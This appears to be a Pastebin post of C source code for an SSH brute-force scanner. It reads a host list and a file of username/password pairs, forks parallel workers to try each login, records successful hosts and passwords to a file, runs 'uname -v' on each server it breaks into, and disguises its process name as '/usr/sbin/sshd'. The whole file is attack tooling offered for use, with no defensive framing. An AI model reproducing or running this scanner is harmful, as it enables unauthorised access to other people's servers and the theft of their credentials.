Advertisement
Guest User

Untitled

a guest
Nov 14th, 2019
152
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.10 KB | None | 0 0
  1. #include <libssh/libssh.h>
  2. #include <stdlib.h>
  3. #include <stdio.h>
  4. #include <string.h>
  5. #include <sys/types.h>
  6. #include <sys/wait.h>
  7. #define FAKE "/usr/sbin/sshd"
  8.  
  9. void delchar(char *x,int a, int b);
  10.  
  11. void delchar(char *x,int a, int b)
  12. {
  13. if ((a+b-1) <= strlen(x))
  14. {
  15. strcpy(&x[b-1],&x[a+b-1]);
  16. puts(x);
  17. }
  18. }
  19.  
  20. void free_channel(ssh_channel channel) {
  21. ssh_channel_send_eof(channel);
  22. ssh_channel_close(channel);
  23. ssh_channel_free(channel);
  24. return;
  25. }
  26.  
  27. void free_session(ssh_session session) {
  28. ssh_disconnect(session);
  29. ssh_free(session);
  30. return;
  31. }
  32.  
  33. void error(ssh_session session) {
  34. free_session(session);
  35. }
  36.  
  37. void sshConnectManigu(char *host,char *username, char *pass, int port)
  38. {
  39. FILE* vulnf;
  40. ssh_session session;
  41. ssh_channel channel;
  42. int system();
  43. int rc;
  44. char buffer[5024];
  45. int nbytes;
  46. session = ssh_new();
  47. if (session == NULL) exit(-1);
  48. ssh_options_set(session, SSH_OPTIONS_HOST, host);
  49. ssh_options_set(session, SSH_OPTIONS_PORT, &port);
  50. ssh_options_set(session, SSH_OPTIONS_USER, username);
  51. rc = ssh_connect(session);
  52. if (rc != SSH_OK) error(session);
  53.  
  54. rc = ssh_userauth_password(session, NULL, pass);
  55. if (rc != SSH_AUTH_SUCCESS) {
  56. ssh_disconnect(session);
  57. return;
  58. }
  59.  
  60. channel = ssh_channel_new(session);
  61. if (channel == NULL) exit(-1);
  62.  
  63. rc = ssh_channel_open_session(channel);
  64. if (rc != SSH_OK) error(session);
  65.  
  66. vulnf=fopen("vuln.txt","a+");
  67. fprintf(vulnf,"Hostname:%s%s\nPass:%s\n",username,host,pass);
  68. printf("\n\033[0;31m[\033[0;37mDon\033[0;31m] - \033[0;36m%s@%sPass:%s \n\033[0m\n",username,host,pass);
  69. rc = ssh_channel_request_exec(channel, "uname -v");
  70. if (rc != SSH_OK) error(session);
  71.  
  72.  
  73. nbytes = ssh_channel_read(channel, buffer, sizeof(buffer), 0);
  74. while (nbytes > 0) {
  75. fwrite(buffer, 1, nbytes, stdout);
  76. nbytes = ssh_channel_read(channel, buffer, sizeof(buffer), 0);
  77.  
  78. }
  79. free_channel(channel);
  80. free_session(session);
  81. fclose(vulnf);
  82. }
  83.  
  84. int main(int argc,char *argv[])
  85. {
  86. printf("\033[0;37m\n");
  87. printf("\033[0;37m\n");
  88. printf("\033[0;37m CEVA FRUMOS\n");
  89. printf("\033[0;37m\n");
  90. printf("\033[0;37m\033[0m\n");
  91. char *iplist,*passfile;
  92. int maxf,port,numforks,count = 0, i,j,countsave;
  93. FILE* passf;
  94. FILE* ip;
  95. char *c;
  96. char buff[4096];
  97. char *a[80196], nutt[4096], *temp, *t, *string;
  98. if (argv[1] && argv[2] && argv[3] && argv[4] )
  99. {
  100. maxf = atoi(argv[1]);
  101. iplist = argv[2];
  102. passfile = argv[3];
  103. port = atoi(argv[4]);
  104. if((passf=fopen(passfile,"r")) == NULL)
  105. {
  106. printf("\n\033[0;31m[\033[0;37m-\033[0;31m] - \033[0;37mFATAL: Nu gasesc %s \033[0m\n",passfile);
  107. return 0;
  108. }
  109. else
  110. {
  111. while (fgets(nutt,2024,passf))
  112. {
  113. while (t = strchr (nutt,' '))
  114. {
  115. temp = strtok (nutt, " ");
  116. string = strdup (temp);
  117. a[count++]=string;
  118. while (temp = strtok (NULL, "\n"))
  119. {
  120. string = strdup (temp);
  121. a[count++]=string;
  122. }
  123. }
  124. }
  125. fclose(passf);
  126. countsave = count;
  127. if((ip=fopen(iplist,"r")) == NULL)
  128. {
  129. printf("\n\033[0;31m[\033[0;37m-\033[0;31m] - \033[0;37mFATAL: Nu gasesc %s \033[0m\n",iplist);
  130. return 0;
  131. }
  132. else
  133. {
  134. strcpy(argv[0],FAKE);
  135. while(fgets(buff,sizeof(buff),ip))
  136. {
  137. c=strchr(buff,' ');
  138. if(c!=NULL) c=" ";
  139. if (!(fork()))
  140. {
  141. for (i=0; i<count; i=i+2)
  142. {
  143.  
  144. sshConnectManigu(buff,a[i],a[i+1],port); // try to auth
  145. }
  146. exit(-1);
  147. }
  148. else
  149. {
  150. numforks++;
  151. if (numforks > maxf)
  152. for (numforks; numforks > maxf; numforks--)
  153. wait(NULL);
  154. }
  155. }
  156. }
  157. fclose(ip);
  158. }
  159. }
  160. else
  161. printf("\033[0;31m[\033[0;37m-\033[0;31m] - \033[0;37m Syntax: %s Thread-uri Iplist Passfile Port[22]",argv[0]);
  162. getchar();
  163. exit (-1);
  164. err:
  165. exit (-1);
  166. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement